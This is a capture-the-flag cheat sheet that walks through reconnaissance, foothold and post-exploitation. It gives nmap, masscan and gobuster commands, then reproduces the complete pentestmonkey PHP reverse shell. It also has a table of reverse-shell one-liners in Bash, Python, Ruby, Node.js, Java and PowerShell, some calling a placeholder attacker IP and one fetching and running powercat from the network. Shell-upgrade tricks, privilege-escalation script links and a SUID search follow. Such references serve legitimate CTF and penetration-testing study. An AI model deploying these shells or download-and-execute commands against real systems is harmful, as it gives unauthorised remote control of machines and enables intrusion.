CTF_CheatSheet

Stage 1 - Lay of the Land

enumeration

• Active Recon

  • Nmap
  • Masscan
  • Network discovery
  • RPCClient
  • Enum4all

• Passive Recon

  • Shodan
  • Wayback Machine
  • The Harvester

• List all the subdirectories and files

  • Gobuster
  • Backup File Artifacts Checker

• Web Vulnerabilities

  • Repository Github
  • Burp
  • Web Checklist
  • Nikto
  • Payment functionality

Nmap

nmap -sV -sC -oA nmap/basic IP

nmap [Scan Type] [Options] {target specification}

* HOST DISCOVERY:
 - -sL: List Scan - simply list targets to scan
 - -sn/-sP: Ping Scan - disable port scan
 - -Pn: Treat all hosts as online -- skip host discovery

* SCAN TECHNIQUES:
 - -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
 - -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans

* PORT SPECIFICATION:
 - -p : Only scan specified ports
 - Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

* SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info

* OUTPUT:
-oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)

* MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute

Masscan

masscan IP -p 1-65535 --rate 100 -oX masscan.xml

Netdiscover

netdiscover -i <INTERFACE>
```


####  DirBuster / GoBuster

```bash
  ./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
  -u url
  -w wordlist
  -t threads

  More subdomain :
  ./gobuster -m dns -w subdomains.txt -u google.com -i

  gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/
```


## Stage 2 - Foothold

### Attacking - Reverse Shells

#### PHP Reverse Shell

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 
```
#### Built-in Tools

| Program | Command |
|----------|---------|
| Netcat Listen | ncat -vlnp 4444 |
| Bash | bash -i >& /dev/tcp/IP/4444 0>&1 |
| Bash | bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1' |
| PHP | php -r '$sock=fsockopen("^IP^",5566);exec("/bin/sh -i <&3 >&3 2>&3");'` | 
| Netcat Connect | nc -e /bin/sh ^IP^ 5566`|
| Telnet | mknod backpipe p && telnet ^IP^ 5566 0<backpipe | /bin/bash 1>backpipe` |
| Python | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` |
| Ruby | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("^IP^","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` |
| Node.js |  var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "^IP^", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); |
|  | require('child_process').exec("bash -c 'bash -i >& /dev/tcp/^IP^/5566 0>&1'");` |
| Java | Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();` |
| Java | java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html |
| Powershell |  powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ^IP^ -p 5566 -e cmd |



#### Spawning a Shell

To check if the shell is a tty shell, just enter tty command like the following.

```bash
tty
```
not a tty

```bash
tty
```
/dev/pts/0

Here are some commands which will enable you to spawn a tty shell:
Python:

This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed.

 |Methord   |  Command  |
 |----------|-----------|
 | Python3   | python -c "import pty;pty.spawn('/bin/bash')"  |  
  |* Echo: |  echo 'os.system('/bin/bash')'|
 | * sh:   | /bin/sh -i|
|  * Bash:  | /bin/bash -i|
 | * Perl:  | perl -e 'exec "/bin/sh";'|
 | * Ruby: |  ruby: exec "/bin/sh"|
 | * Lua:  |  lua: os.execute('/bin/sh')|
 | * From within vi:  | :!bash , :set shell=/bin/bash:shell |
 | * From within nmap:  |   !sh  |
 
 - To make the Shell Usable:
```
Ctrl+Z
stty raw -echo
fg
export TERM=xterm
```



## Stage 3 - Post Exploitation 

### Lets Have a Look Around

* PEASS-ng

| OS | Links |
|----|------|
| Linux | https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh |
| Windows x68 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe |
|Windows x86 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe |

* GTFObins

> https://gtfobins.github.io/


* Linux Tools
|   | Command|
|---|--------|
| SUID   | find / -type f -user root -perm -4000 2>/dev/null |